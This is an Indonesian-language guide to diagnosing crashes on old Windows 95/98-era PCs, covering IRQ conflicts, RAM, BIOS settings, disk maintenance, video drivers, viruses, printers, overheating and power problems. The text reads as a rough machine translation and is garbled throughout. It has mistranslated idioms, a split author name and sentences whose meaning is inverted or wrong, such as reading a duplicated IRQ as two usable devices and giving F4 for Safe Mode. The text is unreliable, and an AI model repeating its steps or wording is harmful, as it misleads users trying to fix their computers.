Misalnya, printer biasanya menghubungkan secara internal pada IRQ 7. Keyboard biasanya menggunakan IRQ 1 dan floppy disk drive IRQ 6. Setiap perangkat akan mencoba untuk memonopoli satu IRQ untuk sendiri.

Jika terdapat banyak perangkat, atau jika tidak diinstal dengan benar, dua di antara mereka sampai akhir Mei berbagi angka IRQ yang sama. Ketika pengguna mencoba untuk menggunakan kedua perangkat pada saat yang sama, yang bisa terjadi crash. Cara untuk mengetahui apakah komputer Anda memiliki hardware konflik adalah melalui rute sebagai berikut:

* Start-Setting-Control Panel-System-Device Manager.

Seringkali jika perangkat masalah kuning '! " muncul di sebelah nya deskripsi di Device Manager. Sorot Computer (di Device Manager) dan tekan Properties untuk melihat nomor IRQ yang digunakan oleh komputer Anda. Jika nomor IRQ tampak dua kali, dua perangkat dapat digunakan.

Kadang-kadang perangkat mungkin berbagi IRQ dengan sesuatu yang digambarkan sebagai 'pemilik IRQ untuk PCI steering'. Hal ini dapat diabaikan. Cara terbaik untuk memperbaiki masalah ini adalah untuk menghapus masalah perangkat dan kembali.

Kadang-kadang Anda mungkin harus mencari driver yang lebih baru di internet untuk membuat perangkat berfungsi dengan baik. Jika perangkat adalah Soundcard, atau modem, ini sering bisa ditetapkan oleh pindah ke tempat yang berbeda pada motherboard (berhati-hati tentang membuka komputer Anda, karena dapat dengan void garansi).

Ketika bekerja di dalam komputer anda harus aktifkanlah off, melepaskan Induk yang mengarah dan menyentuh sebuah unpainted pelepasan logam ke permukaan setiap listrik statis.

Agar adil bagi Mcft, masalah dengan angka IRQ tidak membuat para. Ini merupakan warisan masalah kembali ke PC desain pertama menggunakan IBM 8086 chip. Pada awalnya hanya terdapat delapan IRQs. Saat ini ada 16 IRQs di PC. Mudah untuk kehabisan dari mereka. Ada rencana untuk meningkatkan jumlah IRQs di masa depan desain.

2 Bad Ram

Ram (random akses memori) masalah mungkin membawa layar biru pada kematian dengan pesan saying Fatal Exception Error. Sebuah kesalahan fatal menunjukkan masalah serius hardware. Kadang-kadang dapat diartikan sebagai bagian yang rusak dan perlu penggantian.

Namun kesalahan fatal yang disebabkan oleh Ram mungkin disebabkan oleh ketidaksesuaian dari chips. Misalnya, mixing 70-nanosecond (70ns) Ram Ram dengan 60ns akan biasanya memaksa komputer untuk menjalankan semua Ram pada kecepatan lambat. Ini akan sering crash mesin jika Ram adalah overworked.

Satu cara sekitar masalah ini adalah untuk memasuki konfigurasi BIOS dan meningkatkan menunggu keadaan Ram. Hal ini dapat membuatnya lebih stabil. Cara lain untuk masalah yang diduga Ram masalah adalah untuk mengatur ulang Ram chips pada motherboard, atau mengambil beberapa dari mereka keluar. Kemudian cobalah untuk mengulangi keadaan yang menyebabkan crash. Bila menangani Ram mencoba untuk tidak menyentuh sambungan emas, karena mereka dapat dengan mudah rusak.

Paritas pesan kesalahan juga merujuk kepada Ram. Modern Ram chips are either parity (ECC) atau non parity (non-ECC). Cara terbaik adalah untuk tidak mencampur dua jenis, karena hal ini dapat menjadi penyebab masalah.

EMM386 pesan kesalahan merujuk ke masalah memori, tetapi mungkin tidak akan terhubung ke Ram buruk. Ini mungkin karena masalah memori sering terhubung ke Dos lama berbasis program.

3 konfigurasi BIOS

Setiap Motherboard disertakan dengan berbagai chipset pengaturan yang memutuskan di pabrik. Umum cara untuk mengakses pengaturan ini adalah untuk menekan F2 atau menghapus tombol selama beberapa detik pertama dari boot-up.

Setelah masuk BIOS, perhatian besar harus diambil. Ada baiknya untuk menulis pada sepotong kertas semua pengaturan yang muncul di layar. Dengan demikian, jika Anda mengubah sesuatu dan komputer menjadi lebih tidak stabil, Anda akan tahu apa untuk kembali ke pengaturan.

BIOS kesalahan umum adalah mengenai CAS latency. Ini merujuk kepada Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SdRam memiliki CAS latency of 2. Pengaturan yang salah dapat menyebabkan angka Ram ke menyekap dan membekukan komputer layar.

Mcft Windows mengalokasikan lebih baik di nomor IRQ dari BIOS apapun. Jika mungkin mengatur nomor IRQ ke Otomatis pada BIOS. Ini akan mengijinkan Windows untuk mengalokasikan dengan nomor IRQ (pastikan BIOS untuk Plug and Play OS adalah beralih ke 'ya' untuk mengijinkan Windows untuk melakukannya.).

4 Hard disk drive

Setelah beberapa bulan, informasi pada hard disk drive mulai menjadi sedikit demi sedikit atau bagi. Ada baiknya untuk defragment hard disk setiap minggu atau lebih, untuk mencegah dari disk menyebabkan layar beku. Pergi ke

* Start-Program-Aksesoris-System Tools-Disk Defragmenter

Ini akan mulai prosedur. Anda tidak akan dapat menulis data ke hard drive (untuk menyimpannya) sedangkan disk defragmenting, sehingga ide yang baik untuk menjadwalkan prosedur untuk jangka waktu tidak aktif menggunakan Penjadwal Tugas.

The Penjadwal Tugas harus salah satu ikon kecil di bawah kanan membuka halaman Windows (desktop).

Beberapa lockups dan layar freezes harddisk disebabkan oleh masalah dapat diselesaikan dengan mengurangi read-ahead optimisation. Ini dapat disesuaikan dengan membuka

* Start-Setting-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disk akan memperlambat dan crash jika mereka terlalu penuh. Beberapa rumah pada hard drive setiap beberapa bulan dan beberapa ruang bebas di atasnya. Buka Windows folder pada drive C dan menemukan Temporary Internet Files folder. Menghapus isi (tidak map) dapat bebas banyak ruang.

Kosongkan Recycle Bin setiap minggu untuk membebaskan lebih banyak tempat. Hard disk drive harus dipindai setiap minggu untuk sektor kesalahan atau buruk. Pergi ke

* Start-Program-Aksesoris-System Tools-ScanDisk

Jika tidak menetapkan yang Penjadwal Tugas untuk melakukan operasi ini pada malam hari ketika komputer ini tidak digunakan.

5 Fatal OE exceptions dan VXD error

Kesalahan fatal eksepsi OE dan kesalahan VXD biasanya disebabkan oleh masalah kartu video.

Hal ini sering kali dapat diselesaikan dengan mudah dengan mengurangi resolusi layar video. Pergi ke

* Start-Setting-Control Panel-Display-Setting

Di sini Anda harus geser layar wilayah bar ke kiri. Perhatikan pengaturan warna di sebelah kiri dari jendela. Untuk paling desktop, warna tinggi kedalaman 16-bit yang memadai.

Jika layar freezes atau sistem Anda mengalami lockups mungkin karena masalah kartu video. Pastikan tidak ada perangkat keras yang konflik. Pergi ke

* Start-Setting-Control Panel-System-Device Manager

Di sini, pilih + di samping Tampilan Adapter. J baris teks menjelaskan kartu video anda akan muncul. Pilih (menjadi biru) dan tekan properti. Kemudian pilih Resources dan memilih setiap baris dalam jendela. Untuk melihat pesan yang mengatakan Tidak ada Konflik.

Jika Anda memiliki perangkat keras kartu video konflik, Anda akan melihatnya di sini. Hati-hati pada saat ini dan membuat catatan dari semua yang anda lakukan jika anda melakukan hal-hal buruk.

Cara untuk menyelesaikan konflik perangkat keras adalah untuk tidak memberi tanda cek pada otomatis Gunakan Pengaturan kotak dan tekan tombol Ubah Pengaturan. Anda cari pengaturan yang akan menampilkan pesan Konflik No.

Berguna cara lain untuk menyelesaikan masalah video adalah untuk pergi ke

* Start-Setting-Control Panel-System-Performance-Graphics

Di sini Anda harus memindahkan Akselerasi Hardware slider ke kiri. Seperti yang pernah, yang paling umum penyebab masalah-masalah yang berkaitan dengan kartu grafis yang lama atau faulty driver (driver adalah sebagian kecil dari perangkat lunak yang digunakan oleh komputer untuk berkomunikasi dengan perangkat).

Mencari kartu video anda dari pabriknya di internet dan mencari yang terbaru driver untuk itu.

6 Virus

Sering pertama tanda infeksi virus adalah ketidakstabilan. Beberapa virus menghapus sektor boot dari harddisk, sehingga mustahil untuk memulai. Mengapa hal ini adalah ide yang baik untuk membuat Windows start up disk. Pergi ke

* Start-Setting-Control Panel-Add/Remove Program

Di sini, mencari Start Up Disk tab. Perlindungan virus memerlukan kewaspadaan konstan.

Virus sanner memerlukan daftar virus signature agar dapat mengidentifikasi virus. Tanda tangan ini akan disimpan dalam file DAT. DAT file harus diperbaharui mingguan dari situs web Anda produsen perangkat lunak antivirus.



7 Printers

Tindakan yang mengirimkan dokumen untuk mencetak menciptakan sebuah file besar, kata-kata yang sering disebut file.

Printer hanya memiliki sejumlah kecil memori, disebut sebagai penyangga. Hal ini dapat dengan mudah kelebihan beban. Pencetakan dokumen juga menggunakan banyak jumlah power CPU. Ini juga akan memperlambat kinerja komputer.

Jika printer sedang mencoba untuk mencetak karakter tidak biasa, ini mungkin tidak diakui, dan dapat crash komputer. Kadang-kadang printer tidak akan pulih dari crash karena kebingungan dalam buffer. Cara yang baik untuk menghapus penyangga adalah untuk melepaskan printer selama sepuluh detik. Booting dari sebuah negara berdaya, yang disebut cold boot, akan mengembalikan printer default dan Anda mungkin dapat melakukan.

8 Software

hal lain menyebabkan crash komputer adalah salah atau sangat-instal perangkat lunak. Sering masalah dapat disembuhkan oleh menguninstall perangkat lunak dan kemudian menginstal ulang itu. Gunakan Norton Uninstall atau Uninstall Shield untuk menghapus aplikasi dari sistem anda dengan benar. Ini juga akan menghapus referensi ke dalam program Sistem Registry dan meninggalkan jalan yang jelas untuk sepenuhnya salinan.

System Registry dapat rusak oleh referensi tua ke perangkat lunak usang yang anda pikir telah dihapus. Digunakan oleh Jouni Reg Cleaner untuk membersihkan Vuorio System Registry dan menghapus masukan usang. Ia bekerja pada Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 dan Windows 2000.

Baca petunjuk dan menggunakannya secara hati-hati agar Anda tidak melakukannya permanen kerusakan pada Registry. Jika Registry sudah rusak anda harus menginstal ulang sistem operasi Anda. Reg Cleaner

Seringkali Windows masalah dapat diselesaikan dengan memasukkan Safe Mode. Ini dapat dilakukan selama start-up. Bila Anda melihat pesan "Starting Windows" tekan F4. Ini akan membawa Anda ke dalam Safe Mode.

Safe Mode loads minimal driver. Hal ini memungkinkan Anda untuk menemukan dan memperbaiki masalah yang mencegah Windows dari loading benar.

Windows menginstal terkadang sulit karena tidak sesuai konfigurasi BIOS. Jika Anda terus mendapatkan pesan kesalahan SUWIN (Windows setup) selama instalasi Windows, kemudian coba masuk BIOS dan nonaktifkan CPU internal cache. Cobalah untuk menonaktifkan Level 2 (L2) cache jika tidak bekerja.

Jangan lupa untuk mengembalikan semua pengaturan BIOS mantan mereka kembali ke pengaturan berikut instalasi.

9 Overheating

Unit pemrosesan pusat (CPU) biasanya dilengkapi dengan fans mereka untuk tetap dingin. Jika gagal atau jika kipas CPU lama mungkin akan mulai menjadi terlalu panas dan menghasilkan jenis tertentu kesalahan yang disebut kesalahan kernel. Ini adalah masalah umum di chip yang telah overclocked untuk beroperasi pada kecepatan yang lebih tinggi dari yang seharusnya mereka.

Salah satu adalah untuk mendapatkan obat yang lebih besar dan lebih baik fan menginstalnya di atas CPU. Spesialis cooling fans / heatsink yang tersedia dari
Code:

www.computernerd.com atau www.coolit.com


CPU masalah sering bisa tetap nonaktifkan oleh CPU internal cache di BIOS. Ini akan membuat mesin menjalankan lebih perlahan, tetapi juga harus lebih stabil.

10 masalah Power supply

Dengan semua konstruksi yang baru terjadi di seluruh negara yang stabil pasokan listrik telah menjadi terganggu. spike crash komputer dapat dengan mudah sebagai sebagai kuasa potong.

Jika hal ini telah menjadi gangguan bagi Anda, maka pertimbangkan membeli terganggu listrik (UPS). Hal ini akan memberikan listrik yang bersih bila ada listrik, dan akan memberikan beberapa menit untuk melakukan shutdown dikontrol dalam hal kuasa potong.

Ini adalah investasi yang baik jika data anda sangat penting, karena akan menyebabkan daya memotong data yang belum disimpan akan hilang.



Semoga Bermanfaat